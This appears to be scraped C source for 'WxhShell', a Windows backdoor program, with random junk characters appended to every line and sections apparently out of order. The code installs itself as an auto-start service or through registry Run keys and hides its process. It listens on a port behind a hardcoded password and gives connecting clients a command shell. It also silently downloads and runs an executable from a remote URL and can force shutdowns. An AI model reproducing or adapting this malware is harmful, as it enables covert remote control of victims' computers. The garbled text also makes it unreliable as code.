  // 关机 zN0^FXGD  
  case 'd': { v~9PS2  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); :voQ#f=  
    if(Boot(SHUTDOWN)) ZF>zzi+@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); bR(rZu5  
    else { ^3^n|T7le  
    closesocket(wsh); eE '\h  
    ExitThread(0); %[l5){:05  
    } p$0G EYwM  
    break; "l"zbW WOH  
    } H_un3x1  
  // 获取shell B~G ?&"]  
  case 's': { KQ9~\No]  
    CmdShell(wsh); jA?A)YNQb  
    closesocket(wsh); )k&<D*5s  
    ExitThread(0); (3C::B=  
    break; |L 11?{ K  
  } 7LbBS:@3z_  
  // 退出 hQv~C4Wfrf  
  case 'x': { 79^Y^.D  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); _8v8qT}O~4  
    CloseIt(wsh); >,yE;zuw  
    break; :?S1#d_  
    } V>>"nf,YO  
  // 离开 ,6uON@  
  case 'q': { |#^wYZO1U  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); iimTr_TEt  
    closesocket(wsh); @FKm_q  
    WSACleanup(); E3@G^Y  
    exit(1); 8M <q-sn4B  
    break; d="Oge8  
        } Dp3&@M"^yY  
  } <lopk('7  
  } P-o/ax  
U-&dn%Sq  
  // 提示信息 |3<tDq@+  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); W< _9*{|E;  
} mnh>gl!l  
  } ;x^WPY Ej  
.jA'BF.  
  return;  >\6Tm  
} P/6$ T2k_  
SVB> 1s9F  
// shell模块句柄 q~]S5  
int CmdShell(SOCKET sock) ux`)jOQ`Y]  
{ <&^P1x<x  
STARTUPINFO si; _4Z|O]  
ZeroMemory(&si,sizeof(si)); jM]B\cvN  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; h8B:}_Cu  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; FOV%\=Hl  
PROCESS_INFORMATION ProcessInfo; C-O~Oil  
char cmdline[]="cmd"; <#/r.}.x  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); O< [h  
  return 0; xMsSZ{j%5  
} .$&mWytw=  
=;A p+}  
// 自身启动模式 s&&8~ )H  
int StartFromService(void) 5-qk"@E W  
{ v<CZ.-r\j  
typedef struct &B ?TX.  
{ 3>asl54  
  DWORD ExitStatus; G%5bQ|O  
  DWORD PebBaseAddress; @D1}).  
  DWORD AffinityMask; pn"TFapJA  
  DWORD BasePriority; Sp/t[\,'  
  ULONG UniqueProcessId; @pq2Z^SQH  
  ULONG InheritedFromUniqueProcessId; $ 1lI6 = ,  
}   PROCESS_BASIC_INFORMATION; mW EaUi)Zz  
a4{~.Mp  
PROCNTQSIP NtQueryInformationProcess; sT8(f=^)8F  
T6mbGE*IeE  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; }9=X*'BO  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; -7-r~zmr  
^#i3JMq  
  HANDLE             hProcess; Rn?Yz^ 1q  
  PROCESS_BASIC_INFORMATION pbi; 3lr9nBR  
u*}[fQ`aF  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ]6s7?07m4  
  if(NULL == hInst ) return 0; 8.JFQ/) i  
$[(amj-;l  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 'C[{cr.`  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); [l# 8}dy  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); n92*:Y  
v\lhbpk  
  if (!NtQueryInformationProcess) return 0; l/*NscYtQ  
f wE b  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 2-G6I92d  
  if(!hProcess) return 0; ?OjZb'+=K  
skaPC#u  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; k|uW~ I)  
80m<OW1  
  CloseHandle(hProcess); ;[nomxu|?  
D@W[Nd5MJ  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); M$J{clr  
if(hProcess==NULL) return 0; +>bm~6  
Y["aw&;#O\  
HMODULE hMod; 2bv/ -^  
char procName[255]; R;d)I^@  
unsigned long cbNeeded; 0+3_CS++r  
!V.2~V[^M  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); = 1ltX+   
}^Ymg7wA  
  CloseHandle(hProcess); /FJ.W<hw  
LOO<)XFJ  
if(strstr(procName,"services")) return 1; // 以服务启动  {^8->V  
ccR#<Pb6q  
  return 0; // 注册表启动 s8:-*VR9  
} L/Tsq=  
+jD*Jtb<  
// 主模块 W _b!FQ]  
int StartWxhshell(LPSTR lpCmdLine) reP)&Fo  
{ VsU*yG a  
  SOCKET wsl; o|en"?4  
BOOL val=TRUE; /E %^s3S.  
  int port=0; g$/C-j4A[  
  struct sockaddr_in door; |7CFm  
C(Cuk4K  
  if(wscfg.ws_autoins) Install(); y@Gl'@-O  
3*(w=;y  
port=atoi(lpCmdLine); pLdZB9oD]C  
9M12|X\]8  
if(port<=0) port=wscfg.ws_port; }+@GgipyO.  
2/dvCt6 N  
  WSADATA data; #jqcUno  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; M7`iAa.}  
B0+r  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Z>l%:;H  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); pLiGky  
  door.sin_family = AF_INET; 8pXului  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 9cqq"-$G`  
  door.sin_port = htons(port); wH0m^?a!3  
$-w&<U$E  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { "7z1V{ ;Y  
closesocket(wsl); /_(q7:<ZF  
return 1; e)M)q!nG  
} O3JBS^;V2  
P:OI]x4  
  if(listen(wsl,2) == INVALID_SOCKET) { q?##S'  
closesocket(wsl); ;h~v,h  
return 1; ^]zC~LfG  
} ']&rPv kL  
  Wxhshell(wsl); zz m[sX}  
  WSACleanup(); dbsD\\,2%N  
<| =^['vi  
return 0; Y=5}u&\   
WU +OS(  
} k.n-JS  
}lQ`ka  
// 以NT服务方式启动 4\Q pS  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ix+sT|>  
{ AZH= r S`  
DWORD   status = 0; ]EWEW*'j  
  DWORD   specificError = 0xfffffff; U(6=;+q  
/idrb c  
  serviceStatus.dwServiceType     = SERVICE_WIN32; *Dhy a g  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; h0z>dLA#2  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 'DdR2  
  serviceStatus.dwWin32ExitCode     = 0; "6t#   
  serviceStatus.dwServiceSpecificExitCode = 0; pNNvg,hS8  
  serviceStatus.dwCheckPoint       = 0; ))xP]Muv  
  serviceStatus.dwWaitHint       = 0; Dt~ |)L+  
/%{Qf  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); "8l& m6`U-  
  if (hServiceStatusHandle==0) return; b?]Lx.l-  
/H'F4->  
status = GetLastError(); E[a|.lnV  
  if (status!=NO_ERROR) igO,Ge8}  
{ xT8pwTO  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; (x!Tb2mlk  
    serviceStatus.dwCheckPoint       = 0; lF#p1H>\  
    serviceStatus.dwWaitHint       = 0; 9#MY(Hr  
    serviceStatus.dwWin32ExitCode     = status; J/xbMMb   
    serviceStatus.dwServiceSpecificExitCode = specificError; 3/s" ;Kg,  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9g~"Y[ ]  
    return; 0[In5II  
  } }!9KxwC(  
.P#+V$qhv  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; lS96sjJp@  
  serviceStatus.dwCheckPoint       = 0; w#!b #TNc  
  serviceStatus.dwWaitHint       = 0; a+=.(g  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); DFM~jlH  
} (N^tg8Z<  
6d{&1-@>  
// 处理NT服务事件,比如:启动、停止 (iJ9ekB  
VOID WINAPI NTServiceHandler(DWORD fdwControl) xe@11/F  
{ Vo`,|3^  
switch(fdwControl) 8Cef ]@x  
{ rE?Fp  
case SERVICE_CONTROL_STOP: ,LodP%%UV  
  serviceStatus.dwWin32ExitCode = 0; kNk$[Yfs  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Hw 1:zro  
  serviceStatus.dwCheckPoint   = 0; y*<x@i+h  
  serviceStatus.dwWaitHint     = 0; vAcxca">S  
  { |w+N(wcJ  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); rHpxk  
  } FMEW['  
  return; k0@*Up3{7  
case SERVICE_CONTROL_PAUSE: BN%;AQV  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; T=,A pa  
  break; YmPNaL  
case SERVICE_CONTROL_CONTINUE: /Bs42uJ3  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; N 9cCfB\`  
  break; G7N Rpr  
case SERVICE_CONTROL_INTERROGATE: q+{$"s9v  
  break; B&rw R/d  
}; YT~h1<se  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); $!v:@vNMs  
} 11YpC;[o  
L+D9ZE]  
// 标准应用程序主函数 b <z)4  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) h/pm$9A  
{ C @nA*  
I%M"I0FV  
// 获取操作系统版本 GV0-"9uwX~  
OsIsNt=GetOsVer(); 1"wZ [.  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ?rxq//S2  
$2w][ d1  
  // 从命令行安装 d6f+[<<  
  if(strpbrk(lpCmdLine,"iI")) Install(); 9p4=iXfR  
7CDp$7v2  
  // 下载执行文件 *O'`&J  
if(wscfg.ws_downexe) { 6olJ7`*  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Pr'Ij  
  WinExec(wscfg.ws_filenam,SW_HIDE); ^`?M~e2FZ8  
} p;Nq(=] \  
i`^[_  
if(!OsIsNt) { b6UpE`\z  
// 如果时win9x,隐藏进程并且设置为注册表启动 0s!';g Q  
HideProc(); de_%#k1:L  
StartWxhshell(lpCmdLine); p6X-P%s  
} !:wA\mAd  
else l05'/duuJ  
  if(StartFromService()) *!^l ZpF  
  // 以服务方式启动 kHg|!  
  StartServiceCtrlDispatcher(DispatchTable); /N0mF< P  
else Owp]>e  
  // 普通方式启动 ]36SF5<0r  
  StartWxhshell(lpCmdLine); ?Ld),A/c  
"jZZ>\  
return 0; a-5UG#o  
} at>_EiS  
T*p7[}#  
_ep&`K  
lw=kTYbq  
=========================================== LcKc#)'EE  
g}9 ,U&$]y  
e]<Syrk  
.+7n@Sc  
d% EdvM|)  
DLwlA !z  
" piIZ*@'  
t%@iF U;}  
#include <stdio.h> b~;:[ #  
#include <string.h> tmGhJZ2j  
#include <windows.h> GEPWb[Oa  
#include <winsock2.h> `n+uA ~  
#include <winsvc.h> !&%KJS6p4  
#include <urlmon.h> pI@71~|R  
l6zAMyau5  
#pragma comment (lib, "Ws2_32.lib") EXdX%T\  
#pragma comment (lib, "urlmon.lib") ^%oH LsY9  
f:j:L79}  
#define MAX_USER   100 // 最大客户端连接数 yf{\^^ i(  
#define BUF_SOCK   200 // sock buffer 4Q+,_iP  
#define KEY_BUFF   255 // 输入 buffer _0[z xOI  
NK-}[!f  
#define REBOOT     0   // 重启  v9T 3=  
#define SHUTDOWN   1   // 关机  hyxv+m[  
\ ZnA%hC  
#define DEF_PORT   5000 // 监听端口 i7RK*{  
IO7z}![V;  
#define REG_LEN     16   // 注册表键长度 '[r:pwE  
#define SVC_LEN     80   // NT服务名长度 dX\OP>  
=K@LEZZ'/<  
// 从dll定义API f}dlQkZ(  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); l_yy;e  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); F,YP Il  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Iq|h1ie m+  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); HX.K{!5  
Cq@7oi]W0  
// wxhshell配置信息 %>&~?zrq  
struct WSCFG {  H_g]q  
  int ws_port;         // 监听端口 ImQ -kz?b  
  char ws_passstr[REG_LEN]; // 口令 6I[*p0j5  
  int ws_autoins;       // 安装标记, 1=yes 0=no mI2Gs) SO  
  char ws_regname[REG_LEN]; // 注册表键名 |A4B4/!  
  char ws_svcname[REG_LEN]; // 服务名 t{,$?}  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 2NFk#_9e~  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 U["<f`z4\  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 3 EAr=E]  
int ws_downexe;       // 下载执行标记, 1=yes 0=no JP!e'oWxi  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ln<[CgV8  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 /5%'q~  
2k!uk6  
}; &[`2 4Db  
}[%F  
// default Wxhshell configuration %2RXrH2&H  
struct WSCFG wscfg={DEF_PORT, mAH7; u<  
    "xuhuanlingzhe", 9f['TG,"  
    1, v~RxtTu  
    "Wxhshell", u!xgLf'`  
    "Wxhshell", 4][VK/v+  
            "WxhShell Service", DN9x<%/-  
    "Wrsky Windows CmdShell Service", yO-2.2h  
    "Please Input Your Password: ", (muJ-~CJk  
  1, '+_-r'2  
  "http://www.wrsky.com/wxhshell.exe", ks$5$,^T2o  
  "Wxhshell.exe" <F`9;WX  
    }; 02 FLe*zQ  
06NiH-0O  
// 消息定义模块 .}E<,T  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; F_u ?.6e]  
char *msg_ws_prompt="\n\r? for help\n\r#>"; pg!mOyn  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 0gyvRM@ x[  
char *msg_ws_ext="\n\rExit."; D}%VZA}].  
char *msg_ws_end="\n\rQuit."; q2k}bb +  
char *msg_ws_boot="\n\rReboot..."; -X*.scw  
char *msg_ws_poff="\n\rShutdown..."; !'\(OFv9Im  
char *msg_ws_down="\n\rSave to "; r:xg#&"*  
[3irr0D7l  
char *msg_ws_err="\n\rErr!"; ]Y & 2&  
char *msg_ws_ok="\n\rOK!"; z@~Z Mk  
8<Nz34Y  
char ExeFile[MAX_PATH]; 0?R$>=u  
int nUser = 0; /3+E-|4s  
HANDLE handles[MAX_USER]; 0$XrtnM  
int OsIsNt; 'Q'-7z-6  
yR F+  
SERVICE_STATUS       serviceStatus; `zs@W  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; _2k<MiqCD[  
GDj_+G;tO\  
// 函数声明 yyPj!<.MGP  
int Install(void); p-C{$5& O1  
int Uninstall(void); b%VBSNZ  
int DownloadFile(char *sURL, SOCKET wsh); .&=\ *cZc  
int Boot(int flag); xR'd}>`  
void HideProc(void); -Hi_g@i*XW  
int GetOsVer(void); KJn 3&7  
int Wxhshell(SOCKET wsl); a Sm</@tO&  
void TalkWithClient(void *cs); WnQ'I=E#~  
int CmdShell(SOCKET sock); AzGbvBI&V  
int StartFromService(void); rI)&.5^  
int StartWxhshell(LPSTR lpCmdLine); hAi'|;g  
fk#Ggp<  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 4P2p|Gc3  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ),<h6$  
"{{@N4^  
// 数据结构和表定义 PzjIM!>  
SERVICE_TABLE_ENTRY DispatchTable[] = 4/o9K*M+  
{ 54JI/!a  
{wscfg.ws_svcname, NTServiceMain}, p<VW;1bt5  
{NULL, NULL} 4J[bh  
}; v&^N+>p  
RplcM%YJn  
// 自我安装 kSJ:4!lFU  
int Install(void) I tn?''~;  
{ RXPl~]k#i  
  char svExeFile[MAX_PATH]; BZQJ@lk5  
  HKEY key; sx9[#6~{Y  
  strcpy(svExeFile,ExeFile); (ds*$]  
fQU_A  
// 如果是win9x系统,修改注册表设为自启动 a.<!>o<t:  
if(!OsIsNt) { @S012} xH  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { [o'}R`5)  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); +w?1<Z  
  RegCloseKey(key); v|kL7t)}  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { QD[l 6  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ^w RD|  
  RegCloseKey(key); P.|g4EdND  
  return 0; ~fA H6FdZ\  
    } iow8H' F  
  } =66,$~g{  
} ]o8~b-  
else { V[| k:($  
RML'C:1  
// 如果是NT以上系统,安装为系统服务 lce~6}  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); !hPe*pPVV)  
if (schSCManager!=0) ^q~.5c|  
{ j%0 g *YI  
  SC_HANDLE schService = CreateService Bq:: 5,v  
  ( 7"_g X  
  schSCManager, =1kjKE !  
  wscfg.ws_svcname, 1n ZE9;o  
  wscfg.ws_svcdisp, 0xutG/-&N  
  SERVICE_ALL_ACCESS, 64!V8&Ay  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , !91<K{#A{  
  SERVICE_AUTO_START, ]_)=xF19  
  SERVICE_ERROR_NORMAL, HPWjNwM  
  svExeFile, PJcz] <  
  NULL, XN' X&J  
  NULL, [TpW$E0H  
  NULL, #lm1"~`5  
  NULL, 7W#9ki1  
  NULL w*N9p8hb]  
  ); QeAkuqT'[  
  if (schService!=0) v3jx2Z  
  { -Kf'02  
  CloseServiceHandle(schService); (au 7wI{  
  CloseServiceHandle(schSCManager); +hvVoBCM*  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ].w$b)G   
  strcat(svExeFile,wscfg.ws_svcname); w3IU'(|G  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { gs|%3k|  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); cXokq  
  RegCloseKey(key); -1u N Z{0  
  return 0; Z.0^:rVp~  
    } D&)gcO`\  
  } ^coJ"[D  
  CloseServiceHandle(schSCManager); iNs  
} hAZ"M:f  
} 7" cgj#  
RT2a:3f  
return 1; dQFx]p3L  
} @{n2R3)k B  
mE]W#?   
// 自我卸载 \oGZM0j  
int Uninstall(void) D9&FCCiUE  
{ aI8K*D )@  
  HKEY key; `Uw^,r  
J_mpI.^Bsf  
if(!OsIsNt) { FCmS3KIa,  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 5k}UXRB?  
  RegDeleteValue(key,wscfg.ws_regname); o'  DXd[y  
  RegCloseKey(key); W,>;`>  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ',* 6vbII  
  RegDeleteValue(key,wscfg.ws_regname); hpym!G  
  RegCloseKey(key); MhB kr{8  
  return 0; p.1|bXY`  
  } M+^+u 1QQ0  
} \G*vY#]  
} S,v9\wN.  
else { NC2PW+(  
`ml;#n,*  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); O@_)]z?jUc  
if (schSCManager!=0) sOW-GWSE<  
{ #H1yjJQ /x  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); cj<j *(ZZ  
  if (schService!=0) vexQP}N0  
  { Hp":r%)  
  if(DeleteService(schService)!=0) { NLF{W|X  
  CloseServiceHandle(schService); S?=2GY  
  CloseServiceHandle(schSCManager); uoKC+8GA  
  return 0; aARm nV  
  } EY!aiH6P  
  CloseServiceHandle(schService); ?z60b=f8  
  } 15gI-Qb  
  CloseServiceHandle(schSCManager); NzRL(A6V  
} F:M3^I  
} s\Cl3  
:h3 Gk;u  
return 1; te'<xfG  
} 37!}8  
Xf9VW}`*8  
// 从指定url下载文件 _&JlE$ua7  
int DownloadFile(char *sURL, SOCKET wsh) GI7CZ  
{ tL;;Yt  
  HRESULT hr; &ze'V , :  
char seps[]= "/"; \aT._'=M+  
char *token; ;mo}$^49*  
char *file; mrd(\&EhA  
char myURL[MAX_PATH]; F{f "xM  
char myFILE[MAX_PATH]; Mp$ uEi  
<<&:BK   
strcpy(myURL,sURL); m.EWYO0XQ  
  token=strtok(myURL,seps); 9^s sT>&/  
  while(token!=NULL) 5'>(|7~%\  
  { @eT!v{o  
    file=token; hlkf|H  
  token=strtok(NULL,seps); Q9#$4  
  } D@4hQC\  
n2Ycq&O  
GetCurrentDirectory(MAX_PATH,myFILE); Cg21-G .  
strcat(myFILE, "\\"); j|HOry1E&  
strcat(myFILE, file); ^O[q C X  
  send(wsh,myFILE,strlen(myFILE),0); )Hlr 09t=]  
send(wsh,"...",3,0); Fz)z&WT  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 2J|Yc^b6  
  if(hr==S_OK) NY1olnI  
return 0; zc,fJM  
else |$9k z31  
return 1; {n%F^ky+7  
g4j?E{M?  
} U4zyhj  
)+mbR_@,O6  
// 系统电源模块 ga~rllm;i  
int Boot(int flag) `<Zp!Hl(j  
{ r#3_F=xL5  
  HANDLE hToken; U4O F{  
  TOKEN_PRIVILEGES tkp; &HZ"<y{j  
Alp9] 0(  
  if(OsIsNt) { xk.\IrB_  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ~++y4NB8Q  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); X )g <F  
    tkp.PrivilegeCount = 1; !>;p^^e  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; (K>5DU  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); )UZ 's>O  
if(flag==REBOOT) { WQ=C5^u  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) eA#J7=eC  
  return 0; f#/v^Ql*  
} Ry[VEn>C1  
else { SS@# $t:  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) y$#mk3(e~t  
  return 0; ~0t] `<y=  
} z)yxz:E  
  } -&D~TL#  
  else { JTQ$p*2]  
if(flag==REBOOT) { Y*B}^!k6  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) zpiqJEf|'"  
  return 0; &T}~h^/t  
} avykg(  
else { ft4J.oT  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) =?0o5|u]  
  return 0; .z7F58  
} XNf%vC>  
} GmPNzHDb  
+KrV!Taf  
return 1; rM<c;iQ  
} S;a{wYF6v  
\O^b|0zc  
// win9x进程隐藏模块 D%Hz'G0|  
void HideProc(void) g  O,X  
{ DU4NPys]y  
,57g_z]V  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); D#1'#di*t  
  if ( hKernel != NULL ) <<@$0RW  
  { ePa1 @dI  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); \ :1MM  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ~z^VMr  
    FreeLibrary(hKernel); iO,0Sb <y  
  } z#SBt`c  
Pj8s;#~u  
return; TfDx> F$  
} 7y&Fb  
|\*7J!Liv  
// 获取操作系统版本 RN]4Is:  
int GetOsVer(void) smF#'"{  
{ 8AOJ'~$  
  OSVERSIONINFO winfo; 8sx\b  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); _hMMm6a|  
  GetVersionEx(&winfo); b-@6w(j  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) `)*   
  return 1; x4pl#~Su  
  else LwZBM#_g  
  return 0; w t? 8-_  
} gk"S`1>  
3YR6@*!f/  
// 客户端句柄模块 Y<#WC#3=  
int Wxhshell(SOCKET wsl) s3W35S0Q3  
{ PBTGN;y  
  SOCKET wsh; h$_Wh(  
  struct sockaddr_in client; &-470Z%/  
  DWORD myID; WXp=>P[  
dMp7 ,{FhF  
  while(nUser<MAX_USER) g(7htWr4  
{ XD<7d")I  
  int nSize=sizeof(client); cwlXb!S$  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); O{,Uge2n,  
  if(wsh==INVALID_SOCKET) return 1; _~d C>`K  
Y [0 S  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); #U{^L{1Gx  
if(handles[nUser]==0) 3o%JJIn&  
  closesocket(wsh); 3x#=@i  
else VTa?y  
  nUser++; qN1(mxa.?  
  } vHcB ^Z  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); S&Q1Ky^  
[#fXmW>N/  
  return 0; KM*sLC#  
} 4r\Sbh  
KwlN  
// 关闭 socket ]0GOSh  
void CloseIt(SOCKET wsh) aEW Z*y  
{ 2[}^ zTtA  
closesocket(wsh); 9TjAEeU  
nUser--; .Kv>*__-Q  
ExitThread(0); U SXz  
} hY7Q$B<  
LS{g=3P0  
// 客户端请求句柄 zU:zzT}|TZ  
void TalkWithClient(void *cs) {6!Mf+Xq  
{ yb2*K+Kv  
9t(B{S  
  SOCKET wsh=(SOCKET)cs; ]F r+cP  
  char pwd[SVC_LEN]; |{k;p fPV  
  char cmd[KEY_BUFF]; zO<EbqNe!  
char chr[1]; ?D/r1%Z  
int i,j; D9B?9Qt2[  
L}ud+Wfox  
  while (nUser < MAX_USER) { p#HPWW"  
c=<d99Cu!  
if(wscfg.ws_passstr) { C"PN3>x}j  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); hun L V8z  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); a5{CkM&,(  
  //ZeroMemory(pwd,KEY_BUFF); f&bY=$iff  
      i=0; [Qa0uM#SU  
  while(i<SVC_LEN) { s[)2z3  
(pm]U7  
  // 设置超时 e,>L&9] ZI  
  fd_set FdRead; #\"8sY,j  
  struct timeval TimeOut; Y.sf^}  
  FD_ZERO(&FdRead); Unc;@=c  
  FD_SET(wsh,&FdRead); L`cc2.F  
  TimeOut.tv_sec=8; 7=N=J<]pl  
  TimeOut.tv_usec=0; sTU]ntoQqR  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 6cp x1y]~6  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); +j_Vs+0  
EB)j&y_  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); k2sb#]-/}  
  pwd=chr[0]; H6 ( ~6Bp5  
  if(chr[0]==0xd || chr[0]==0xa) { B< P H7  
  pwd=0; d~tG#<^`  
  break; F'lG=c3N  
  } oJVpNE[3]  
  i++; Pk T&zSQA  
    }  N c F  
PQ.xmg2  
  // 如果是非法用户,关闭 socket "?Wwc d\  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); >Y?B(I2e  
} m{`O.6#O  
3M8P%  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 8K*X]Z h  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); [Maon.t!l  
"\Jq2vM  
while(1) { VV)PSodb  
I! {AWfp0  
  ZeroMemory(cmd,KEY_BUFF); Wxkk^J9F3  
Qf0$Z.-  
      // 自动支持客户端 telnet标准   Gy.<gyK9  
  j=0; S;M'qwN  
  while(j<KEY_BUFF) { N*$<Kjw  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); x~!B.4gT2  
  cmd[j]=chr[0]; H@bra~k-  
  if(chr[0]==0xa || chr[0]==0xd) { w&f8AY)#]4  
  cmd[j]=0; kEf}yTy  
  break; FSoL|lH  
  } @=h%;"  
  j++; - y{*U1[  
    } >~_y\  
9G` 2t~%  
  // 下载文件 h']R P  
  if(strstr(cmd,"http://")) { YN_#x  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); RQWVjF#  
  if(DownloadFile(cmd,wsh)) t }7hD  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); PwQW5,,h0  
